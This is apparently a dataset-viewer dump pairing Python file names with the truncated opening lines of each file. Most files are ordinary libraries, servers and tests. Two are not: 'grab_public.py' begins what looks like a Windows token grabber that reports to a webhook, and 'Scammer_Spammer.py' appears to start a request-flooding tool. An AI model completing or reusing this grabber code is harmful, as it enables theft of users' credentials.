source stringlengths 3 86 | python stringlengths 75 1.04M |
|---|---|
learner.py | import glob
import logging
import os
import shutil
import six
import sys
import multiprocessing as mulproc
from multiprocessing import sharedctypes
import threading
if sys.version_info[0] == 2:
import queue as queue
else:
import queue
import numpy as np
import torch
import tqdm
from metagrok import battlelo... |
PlexAPI.py | #!/usr/bin/env python
"""
Collection of "connector functions" to Plex Media Server/MyPlex
PlexGDM:
loosely based on hippojay's plexGDM:
https://github.com/hippojay/plugin.video.plexbmc
Plex Media Server communication:
source (somewhat): https://github.com/hippojay/plugin.video.plexbmc
later converted from httplib ... |
etw.py | ########################################################################
# Copyright 2017 FireEye Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/L... |
process_event.py | ###################################
# File Name : process_event.py
###################################
#!/usr/bin/python3
import time
import multiprocessing
def first_wait(e1, e2):
p = multiprocessing.current_process()
while not e1.is_set():
event = e1.wait(1)
print ("[%s] Event status : (%s)... |
server.py | from rpyc import Service
from rpyc.utils.server import ThreadedServer
import os
import sys
from threading import Timer
import time
import platform
import zipfile
import pandas as pd
import threading
import shutil
import numpy as np
def fix_path(filename):
if platform.system() == "Windows":
... |
SwarmMaster.py | from MiniBotFramework.Communication.ZMQ import ZMQExchange
from MiniBotFramework.Communication.TCP import TCP
from MiniBotFramework.Actuation.TwoWheelMovement import TwoWheelMovement
from threading import Thread
from MiniBotFramework.Sensing.ColorSensor import ColorSensor
import time
threads = []
count = {"F":0,"B":0,... |
dask.py | # pylint: disable=too-many-arguments, too-many-locals
# pylint: disable=missing-class-docstring, invalid-name
# pylint: disable=too-many-lines
"""Dask extensions for distributed training. See
https://xgboost.readthedocs.io/en/latest/tutorials/dask.html for simple
tutorial. Also xgboost/demo/dask for some examples.
Th... |
test_diskfile.py | # Copyright (c) 2010-2012 OpenStack Foundation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agree... |
mail_service.py | from resources.errors import InternalServerError
from threading import Thread
from flask_mail import Message
from app import app
from app import mail
def send_async_email(app, msg):
with app.app_context():
try:
mail.send(msg)
except ConnectionRefusedError:
raise InternalSe... |
utils.py | #!/usr/bin/env python
import json, subprocess, time, copy, sys, os, yaml, tempfile, shutil, math, re
from datetime import datetime
from multiprocessing import Process
from flask import Flask, request
import logging
formatter = logging.Formatter(fmt='%(asctime)s :: %(process)d :: %(levelname)-8s :: %(message)s', date... |
test_core.py | from datetime import timedelta
from functools import partial
import itertools
import json
import operator
from operator import add
import os
from time import time, sleep
import sys
import pytest
from tornado import gen
from tornado.queues import Queue
from tornado.ioloop import IOLoop
import streamz as sz
from stre... |
test_sys.py | import unittest, test.support
from test.support.script_helper import assert_python_ok, assert_python_failure
import sys, io, os
import struct
import subprocess
import textwrap
import warnings
import operator
import codecs
import gc
import sysconfig
import platform
import locale
# count the number of test runs, used to... |
server.py | import socket
import threading
HOST='127.0.0.1'
PORT=9988
server=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((HOST,PORT))
server.listen()
clients=[]
nicknames=[]
#broadcast
def broadcast(message):
for client in clients:
client.send(message)
def handle(client):
while True:
... |
interface_pysimplegui.py | #!/usr/bin/env python3
"""
Interface
"""
# pyinstaller --onefile --add-binary
# "sportsbetting\resources\chromedriver.exe;sportsbetting\resources" --add-data
# "sportsbetting\resources\teams.db;sportsbetting\resources" interface_pysimplegui.py --noconfirm
import collections
import json
import queue
import threading
im... |
telemetry.py | # Copyright (c) 2014-present PlatformIO <contact@platformio.org>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... |
blockchain_processor.py | #!/usr/bin/env python
# Copyright(C) 2011-2016 Thomas Voegtlin
#
# Permission is hereby granted, free of charge, to any person
# obtaining a copy of this software and associated documentation files
# (the "Software"), to deal in the Software without restriction,
# including without limitation the rights to use, copy, ... |
grab_public.py | import os
if os.name != "nt":
exit()
from re import findall
from json import loads, dumps
from base64 import b64decode
from subprocess import Popen, PIPE
from urllib.request import Request, urlopen
from threading import Thread
from time import sleep
from sys import argv
WEBHOOK_URL = "" # Insert webh... |
test_file_operation.py | import time
import pytest
from gyomu.configurator import Configurator, ConfigurationFactory
from gyomu.file_operation import FileOperation
import os
from gyomu.process import ManagedProcess
from threading import Thread
import datetime
@pytest.fixture()
def file_open_as_readonly(setup_test_files):
source_dir = os... |
Door.py | #!/usr/bin/env python3
#
# IP: HILICS
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to i... |
app.py | from flask import Flask,render_template,session,url_for,flash
from flask import request
from flask import current_app
from flask import make_response,redirect,abort
from datetime import datetime
import os
from threading import Thread
# ///////////////////////////
from flask.ext.script import Manager
from flask.ext.boo... |
app.py | from typing import List
import click
import copy
import hashlib
import importlib
import io
import json
import logging
import math
import os
import re
import sentry_sdk
import uuid
import requests
import zipfile
from flask import g, request
from marshmallow.exceptions import ValidationError
from collections import na... |
test_services.py | import threading
import time
import pytest
from bonobo.util import get_name
from bonobo.config import Configurable, Container, Exclusive, Service, requires
from bonobo.config.services import validate_service_name, create_container
class PrinterInterface():
def print(self, *args):
raise NotImplementedErr... |
test_interrupt_default_launcher.py | # Copyright 2016 Open Source Robotics Foundation, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law... |
PhidgetsSensorFinDer.py | """
Copyright 2018 California Institute of Technology
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to ... |
main.py | #!/usr/bin/python
# -*- coding: iso-8859-1 -*-
import sys
import time
import threading
import drivers.lcd
import signal
import requests
# Created by Evgeny Panferov
# Time
# TODO: launch as thread
lcd = drivers.lcd.LCD()
def time_thread():
old_time = -1
while True:
time_str = time.strftime("%I:%M;%S... |
blocksDB_create.py | #!/usr/bin/env python3
"""
@summary: query all blocks of the whole chain, to get historical TPS, etc
@version: v40 (28/November/2018)
@since: 16/May/2018
@organization:
@author: https://github.com/drandreaskrueger
@see: https://github.com/drandreaskrueger/chainhammer for updates
@attention: MOST of code in he... |
test_utils.py | """Utilities shared by tests."""
import asyncio
import cgi
import contextlib
import email.parser
import functools
import gc
import http.server
import io
import json
import logging
import os
import re
import socket
import ssl
import sys
import threading
import traceback
import unittest
import urllib.parse
from unittest... |
process.py | from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import argparse
import os
import tempfile
import subprocess
import tensorflow as tf
import numpy as np
import tfimage as im
import threading
import time
import multiprocessing
edge_pool = None
parser = argp... |
socket_server.py | #!usr/bin/python
# -*- coding:utf8 -*-
import socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('0.0.0.0', 8000))
server.listen()
"""
import threading
def handle_sock(sock, addr):
while True:
data = sock.recv(1024)
print(data.decode("utf8")
re_data = input() ... |
tether_task_runner.py | #!/usr/bin/env python
##
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
#... |
console.py | import asyncio
import os
import re
import signal
import sys
import threading
import time
from asyncio import (
AbstractEventLoop,
CancelledError,
Future,
Task,
ensure_future,
get_event_loop,
new_event_loop,
set_event_loop,
sleep,
)
from contextlib import contextmanager
from subproces... |
example1-server.py | """
example1-server.py
Example Server using jpc alternative library.
Copyright (c) 2010 David Martinez Marti
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
1. R... |
staging.py | """The staging.ui module"""
import time
import queue
import logging
import threading
import stager.utils
import stager.utils.tasks
import stager.pages.error
import stager.utils.dialog
import stager.utils.progress
import stager.utils.navigator
import stager.pages.task_grid
from stager.utils.constants import TASK_PAGE_I... |
rdd.py | #
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not us... |
core.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""PY4WEB - a web framework for rapid development of efficient database driven web applications"""
# Standard modules
import argparse
import cgitb
import code
import copy
import datetime
import functools
import importlib
import importlib.machinery
import inspect
import jso... |
test_logging.py | # Copyright 2001-2019 by Vinay Sajip. All Rights Reserved.
#
# Permission to use, copy, modify, and distribute this software and its
# documentation for any purpose and without fee is hereby granted,
# provided that the above copyright notice appear in all copies and that
# both that copyright notice and this permissio... |
log.py | # Copyright (c) Facebook, Inc. and its affiliates.
#
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
import contextlib
import copy
import io
import logging
import logging.handlers
import re
import subprocess
import sys
import threading
import... |
server_mode.py |
# Import all the modules necessary for server mode
from iemlav.lib.ids import iemlAVIDS
from iemlav.lib.log_monitor.system_log import engine
from iemlav.lib.log_monitor.server_log.iemlAVServerLog import IemlAVServerLog
from iemlav.lib.auto_server_patcher.iemlAVServerPatcher import IemlAVAutoServerPatcher
from iemlav.... |
datasets.py | # YOLOv5 🚀 by Ultralytics, GPL-3.0 license
"""
Dataloaders and dataset utils
"""
import glob
import hashlib
import json
import math
import os
import random
import shutil
import time
from itertools import repeat
from multiprocessing.pool import Pool, ThreadPool
from pathlib import Path
from threading import Thread
fro... |
test_concurrency.py | import os
import signal
import json
import threading
import Queue
import requests
import pytest
from fabric_remote import app
from fabric_remote.tasks import FabricInterface, dump_fabric_json
dir = os.path.dirname(__file__)
fixture_path = os.path.join(dir, '../fixtures/')
@pytest.yield_fixture()
def server():
PO... |
gui.py | # -*- coding: utf-8 -*-
#
# gPodder - A media aggregator and podcast client
# Copyright (c) 2005-2008 Thomas Perl and the gPodder Team
#
# gPodder is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version... |
test_mix.py | import pdb
import copy
import pytest
import threading
import datetime
import logging
from time import sleep
from multiprocessing import Process
import sklearn.preprocessing
from utils.utils import *
from common.common_type import CaseLabel
index_file_size = 10
vectors = gen_vectors(10000, default_dim)
vectors = sklear... |
datasets.py | import glob
import math
import os
import random
import shutil
import time
from pathlib import Path
from threading import Thread
import cv2
import numpy as np
import torch
from PIL import Image, ExifTags
from torch.utils.data import Dataset
from tqdm import tqdm
from utils.utils import xyxy2xywh, xywh2xyxy
help_url =... |
multiprocessing_simpleargs.py | #!/usr/bin/env python3
# encoding: utf-8
#
# Copyright (c) 2008 Doug Hellmann All rights reserved.
#
"""Passing arguments to threads when they are created
"""
#end_pymotw_header
import multiprocessing
def worker(num):
"""thread worker function"""
print('Worker:', num)
if __name__ == '__main__':
jobs = ... |
run.py |
# Copyright (c) 2020 Institution of Parallel and Distributed System, Shanghai Jiao Tong University
# ServerlessBench is licensed under the Mulan PSL v1.
# You can use this software according to the terms and conditions of the Mulan PSL v1.
# You may obtain a copy of Mulan PSL v1 at:
# http://license.coscl.org.cn/M... |
cli.py | import asyncio
from functools import partial
from multiprocessing import Process
from pathlib import Path
import sys
import typer # type: ignore
from tacview_client import client, serve_file, config
LOG = config.get_logger()
app = typer.Typer()
@app.command("process_file")
def process_file(
filename: Path = t... |
command.py | import logging
import sys
import itertools
import time
import click
import click_log
import tqdm
import pysam
import multiprocessing as mp
from ..utils import bam_utils
from ..utils.model import LibraryModel
from ..annotate.command import SegmentInfo
from ..annotate.command import get_segments
logging.basicConfi... |
_test_multiprocessing.py | #
# Unit tests for the multiprocessing package
#
import unittest
import queue as pyqueue
import contextlib
import time
import io
import itertools
import sys
import os
import gc
import errno
import signal
import array
import socket
import random
import logging
import struct
import operator
import weakref
import test.su... |
data_utils.py | # Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
commands.py | import os
import subprocess
import sys
import threading
from git import Repo
from backtesting.collector.data_collector import DataCollector
from config.cst import ORIGIN_URL, GIT_ORIGIN
from tools.console_tools import FetchProgressBar
from tools.tentacle_creator.tentacle_creator import TentacleCreator
from tools.tent... |
testclient.py | import asyncio
import http
import inspect
import io
import json
import queue
import threading
import types
import typing
from urllib.parse import unquote, urljoin, urlsplit
import requests
from starlette.types import Message, Receive, Scope, Send
from starlette.websockets import WebSocketDisconnect
# Annotations for... |
tcp_server.py | import socket
import threading
import time
# 服务器
# 服务器进程首先要绑定一个端口并监听来自其他客户端的连接,如果某个客户端连接过来,就建立 Socket连接
# 一个 Socket依赖 4项:服务器地址、服务器端口、客户端地址、客户端端口来唯一确定一个 Socket
# 服务器的每个连接都需要一个新的进程或者新的线程来处理,达到同时响应多个客户端请求的目的
# 创建一个基于 IPv4和 TCP协议的 Socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 绑定监听的地址和端口,可以用 0.0.0.0绑定到所有的... |
exercise01.py | """
使用2个线程,一个打印 1--52 这些数字
一个打印 A--Z 这些字母,
两个线程一起执行,要求打印出来的顺序为
12A34B ...... 5152Z
"""
from threading import Thread,Lock
lock1 = Lock()
lock2 = Lock()
def print_num():
for i in range(1,53,2):
lock1.acquire()
print(i)
print(i + 1)
lock2.release()
def print_chr():
for i in range... |
generate.py | #-----------------------------------------------------------------------
#Copyright 2019 Centrum Wiskunde & Informatica, Amsterdam
#
#Author: Daniel M. Pelt
#Contact: D.M.Pelt@cwi.nl
#Website: http://dmpelt.github.io/foam_ct_phantom/
#License: MIT
#
#This file is part of foam_ct_phantom, a Python package for generating... |
feature_shutdown.py | #!/usr/bin/env python3
# Copyright (c) 2018 The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Test ringd shutdown."""
from test_framework.test_framework import RingTestFramework
from test_framework.uti... |
_impl.py | from __future__ import print_function, division, absolute_import
import ast
import contextlib
import fnmatch
import importlib
import os
import pathlib
import shlex
import sys
import tempfile
import threading
import packaging.version
import pytest
from IPython import get_ipython
from ._config import current_config, ... |
sql_workflow.py | # -*- coding: UTF-8 -*-
import datetime
import logging
import re
import traceback
from threading import Thread
import simplejson as json
from django.contrib.auth.decorators import permission_required
from django.core.exceptions import PermissionDenied
from django.db import transaction, connection
from django.db.models... |
main_class_based_backup.py | #!/usr/bin/python
"""
@Author :Furqan Khan
@Email :furqankhan08@gmail.com
@Date :12/30/2016
Objective :
The purpose of this file /module /Class is to actually execute the nmap process as a sub process (python module) and then colect the findings from the discovery output and save the details in the database... |
server.py | # Roman Soldatov
# B19-SD-01
# Server for the TCP number guessing game.
# Server application can serve up to two clients at the same time
# For each new client the server creates a new thread which binds to a new socket
import random
import sys
from socket import socket, AF_INET, SOCK_STREAM, timeout, gaierror, SOL_S... |
framework.py | #!/usr/bin/env python3
from __future__ import print_function
import gc
import logging
import sys
import os
import select
import signal
import subprocess
import unittest
import tempfile
import time
import faulthandler
import random
import copy
import psutil
import platform
from collections import deque
from threading i... |
baseapp.py | #!/usr/bin/env python
# -*- coding=utf-8 -*-
import os
from PySide.QtCore import *
from PySide.QtGui import *
import sys
class BaseApp(QObject):
def quit(self):
sys.exit()
def trayMenu(self):
self.minimizeAction = QAction(u"最小化", self,triggered=self.hide)
#self.maximizeAction = QAction(... |
plotting.py | """Pyvista plotting module."""
import pathlib
import collections.abc
from functools import partial
import logging
import os
import textwrap
import time
import warnings
import weakref
from functools import wraps
from threading import Thread
import imageio
import numpy as np
import scooby
import vtk
from vtk.util impor... |
test_kube_simple.py | import threading
import time
from pytest import fixture
from funcx_endpoint.executors.high_throughput.interchange import Interchange
from funcx_endpoint.strategies.kube_simple import KubeSimpleStrategy
def no_op_worker():
"""
This is used to trick the base strategy into not doing scheduled checks.
The s... |
keepkey.py | from binascii import hexlify, unhexlify
import traceback
import sys
from electrum_mona.util import bfh, bh2u, UserCancelled, UserFacingException
from electrum_mona.bitcoin import TYPE_ADDRESS, TYPE_SCRIPT
from electrum_mona.bip32 import BIP32Node
from electrum_mona import constants
from electrum_mona.i18n import _
fro... |
__init__.py | # Copyright 2016-2018 Scality
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,... |
runner.py | #!/usr/bin/env python3
# Copyright 2016 The Kubernetes Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appl... |
main.py | import argparse, threading, subprocess
from flask import Flask, send_from_directory, render_template
def start_streaming(source, name):
print("starting streaming for source %s and name %s" % (source, name))
ffmpeg_command = 'ffmpeg -i "%s" -hls_time 0.1 -hls_wrap 10 "video/%s.m3u8"' % (source, name)
proc... |
batcher.py | # Most of this file is copied form https://github.com/abisee/pointer-generator/blob/master/batcher.py
import queue as Queue
import time
from random import shuffle
from threading import Thread
import numpy as np
import config
import data
import random
random.seed(1234)
class Example(object):
def __init__(self, arti... |
fastcov.py | #!/usr/bin/env python3
# SPDX-License-Identifier: MIT
# Copyright 2018-present, Bryan Gillespie
"""
Author: Bryan Gillespie
https://github.com/RPGillespie6/fastcov
A massively parallel gcov wrapper for generating intermediate coverage formats fast
The goal of fastcov is to generate code coverage inter... |
fixtures.py | # coding: utf-8
import pytest
import os
import logging
from robocorp_ls_core.unittest_tools.cases_fixture import CasesFixture
from robotframework_ls.constants import NULL
from robocorp_ls_core.watchdog_wrapper import IFSObserver
__file__ = os.path.abspath(__file__) # @ReservedAssignment
log = logging.getLogger(__na... |
dataset.py | import copy
import glob
import typing
from abc import ABCMeta, abstractmethod
from collections import defaultdict
from pathlib import Path
from typing import Any
from typing import Callable
from typing import Dict
from typing import List
import chainer
import librosa
import numpy
import pysptk
import pyworld
import sc... |
apmon.py | # pylint: disable=line-too-long
"""
* ApMon - Application Monitoring Tool
* Version: 2.2.20
*
* Copyright (C) 2006 California Institute of Technology
*
* Permission is hereby granted, free of charge, to use, copy and modify
* this software and its documentation (the "Software") for any
* purpose, provided that ... |
app.py | #server datagenerator configurations
host = "127.0.0.1"
port = 5000
emit_to_python_listener = False
#print app.root_path
# end server datagenerator configurations
import os, sys
sys.path.append('../modules/')
import json
import pandas as pd
import numpy as np
import generators.collection as generators
import req... |
trezor.py | import traceback
import sys
from typing import NamedTuple, Any, Optional, Dict, Union, List, Tuple, TYPE_CHECKING
from electrum_grlc.util import bfh, bh2u, versiontuple, UserCancelled, UserFacingException
from electrum_grlc.bip32 import BIP32Node, convert_bip32_path_to_list_of_uint32 as parse_path
from electrum_grlc i... |
test_operator_gpu.py | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... |
__init__.py | #!/usr/bin/env python3
"""Library for performing speech recognition, with support for several engines and APIs, online and offline."""
import io
import os
import sys
import subprocess
import wave
import aifc
import math
import audioop
import collections
import json
import base64
import threading
import platform
impor... |
tester.py | # -*- coding: utf-8 -*-
"""%(prog)s uses a command file to start simulations, waits for them to
become active and then executes actions on given nodes of the running
simulations.
Configuration is parametrized by providing
- host: the hostname or IP of the VIRL host
- user and password: typically guest and guest
- logl... |
PlainTasks.py | #!/usr/bin/python
# -*- coding: utf-8 -*-
import sublime, sublime_plugin
import os
import re
import webbrowser
import itertools
import threading
from datetime import datetime, tzinfo, timedelta
import time
platform = sublime.platform()
ST3 = int(sublime.version()) >= 3000
if ST3:
from .APlainTasksCommon import P... |
main4.py | import os
import threading
import subprocess
import time
from flask import Flask, request, render_template
# START DB SETUP #
import sqlite3
dbfile = 'lVulns.db'
db = sqlite3.connect(dbfile, check_same_thread=False)
db.row_factory = sqlite3.Row
cur = db.cursor()
def query(query): # Use for SELECT operators
resul... |
test_sockets.py | # Copyright 2013 The Emscripten Authors. All rights reserved.
# Emscripten is available under two separate licenses, the MIT license and the
# University of Illinois/NCSA Open Source License. Both these licenses can be
# found in the LICENSE file.
from __future__ import print_function
import multiprocessing
import o... |
lenovo_fix.py | #!/usr/bin/env python3
from __future__ import print_function
import argparse
import configparser
import dbus
import glob
import gzip
import os
import re
import struct
import subprocess
import sys
from collections import defaultdict
from dbus.mainloop.glib import DBusGMainLoop
from errno import EACCES, EPERM
from gi.r... |
unittesting.py | import os
import sublime
import threading
from urllib import request
from urllib.parse import urlencode
from unittesting import DeferrableTestCase
class XdebugDeferrableTestCase(DeferrableTestCase):
# Using realpath in order to resolve any symbolic links otherwise path mapping will not work
package_path = os.... |
test_local.py | import gc
import threading
import pytest
from asgiref.local import Local
from asgiref.sync import async_to_sync, sync_to_async
@pytest.mark.asyncio
async def test_local_task():
"""
Tests that local works just inside a normal task context
"""
test_local = Local()
# Unassigned should be an error
... |
serial_listener.py | from tqdm import tqdm
import csv
from serial import Serial
import threading
import time
from .listener import Listener
class SerialListener(Listener):
filename = ''
ser = None
sample_size = 0
captured = 0
pbar = None
is_stopped = False
def __init__(self, i: int, filename: str, ser: Serial... |
console.py | #!/usr/bin/env python3
from __future__ import print_function
import sys
import threading
from vulcano.app import VulcanoApp
from vulcano.app.lexer import MonokaiTheme
from broker import cfg
from broker._utils._log import log
from broker._utils.tools import print_tb
from broker._utils.web3_tools import get_tx_status... |
views.py | import ast
import csv
import io
import json
import os
import mimetypes
from wsgiref.util import FileWrapper
import cv2
import pickle
import smtplib
import threading
from email import encoders
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart
from email.utils import COMMASPACE
import c... |
test_bz2.py | #!/usr/bin/python
from test import support
from test.support import TESTFN
import unittest
from io import BytesIO
import os
import subprocess
import sys
import threading
# Skip tests if the bz2 module doesn't exist.
bz2 = support.import_module('bz2')
from bz2 import BZ2File, BZ2Compressor, BZ2Decompressor
has_cmdli... |
Viav017.py | import numpy as np
import pandas as pd
from scipy.sparse import csr_matrix, csgraph
import scipy
import igraph as ig
import leidenalg
import time
import hnswlib
import matplotlib.pyplot as plt
import math
import multiprocessing
from scipy.sparse import csr_matrix
from scipy import sparse
import umap
import scanpy as sc... |
Cliente.py | import socket
import threading
from tkinter import *
from datetime import datetime
import time
PORT = 4000
# poner Direccion IP del servidor - localhost
SERVER = "192.168.1.47"
ADDRESS = (SERVER, PORT)
FORMAT = "utf-8"
# Create a new client socket and connect to the server
client = socket.socket(socket.AF_INET, soc... |
dual_tor_io.py | import datetime
import threading
import time
import socket
import random
import struct
import ipaddress
import logging
import json
from collections import defaultdict
import scapy.all as scapyall
import ptf.testutils as testutils
from tests.ptf_runner import ptf_runner
TCP_DST_PORT = 5000
SOCKET_RECV_BUFFER_SIZE = 10... |
history.py | #
# This file is:
# Copyright (C) 2018 Calin Culianu <calin.culianu@gmail.com>
#
# MIT License
#
from . import utils
from . import gui
from electroncash import WalletStorage, Wallet
from electroncash.address import Address, PublicKey
from electroncash.util import timestamp_to_datetime, PrintError, profiler
from ele... |
test_cache.py | import threading
import time
from threading import Thread
import numpy as np
import pytest
from ding.utils.data.structure import Cache
@pytest.mark.unittest
class TestCache:
cache = Cache(16, 4, monitor_interval=1.0, _debug=True)
send_count = 0
produce_count = 0
def producer(self, id):
time... |
models.py | import os
from requests import post
from time import sleep, time
from threading import Lock, Thread
from shutil import rmtree
from source.util import hash_id, get_client_ip, serialize, unserialize
from Vizard.settings import TASK_PATH, MAX_THREADS, USER_PATH
user_save_lock = Lock()
user_task_lock = Lock()
class Us... |
lint_check.py | import subprocess
import xml.dom
import xml.dom.minidom
import re
import os
import os.path
from optparse import OptionParser
from collections import namedtuple
from . import monitor
from . import webserver
import json
import urllib.parse
import threading
ReportMessageLine = namedtuple('ReportMessageLine', 'filename l... |
generator.py | import httpx
import json
import string
import json
from itertools import cycle
import threading
from hcapbypass import bypass
import random
usernames = []
with open('usernames.txt','r+', encoding='utf-8') as usernamefile:
logins = usernamefile.read().splitlines()
with open('config.json', 'r+', encoding='utf-8') as... |
__init__.py | from __future__ import annotations
import logging
import re
from threading import Thread
from typing import Any, List, Tuple, TYPE_CHECKING
from bot import errors
from bot.commands import admin_commands
from bot.commands.command import Command
from bot.commands.task_processor import TaskProcessor
from bot.co... |
mediakeys.py | # MusicPlayer, https://github.com/albertz/music-player
# Copyright (c) 2012, Albert Zeyer, www.az2000.de
# All rights reserved.
# This code is under the 2-clause BSD license, see License.txt in the root directory of this project.
import sys
class MacMediaKeyEventsTap:
# http://weblog.rogueamoeba.com/2007/09/29/apple... |
screenshots.py | """Script to automatically take screenshots of the app in given states."""
import os
import re
import shutil
import sys
import threading
from functools import partial
from glob import glob
from time import sleep
import fire
import imgkit
import pystache
import toolz
from kivy.clock import Clock, mainthread
from kivy.c... |
Scammer_Spammer.py | #Import Libraries
import names, requests, random, string, os, urllib3, threading, time, sys
from multiprocessing import Value
from collections import deque
#for colorful text
class bcolors:
BLUE = '\033[94m'
CYAN = '\033[96m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033... |
word2gm_trainer.py | """
Ben Athiwaratkun
Training code for Gaussian Mixture word embeddings model
Adapted from tensorflow's word2vec.py
(https://github.com/tensorflow/models/blob/master/tutorials/embedding/word2vec.py)
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
impo... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.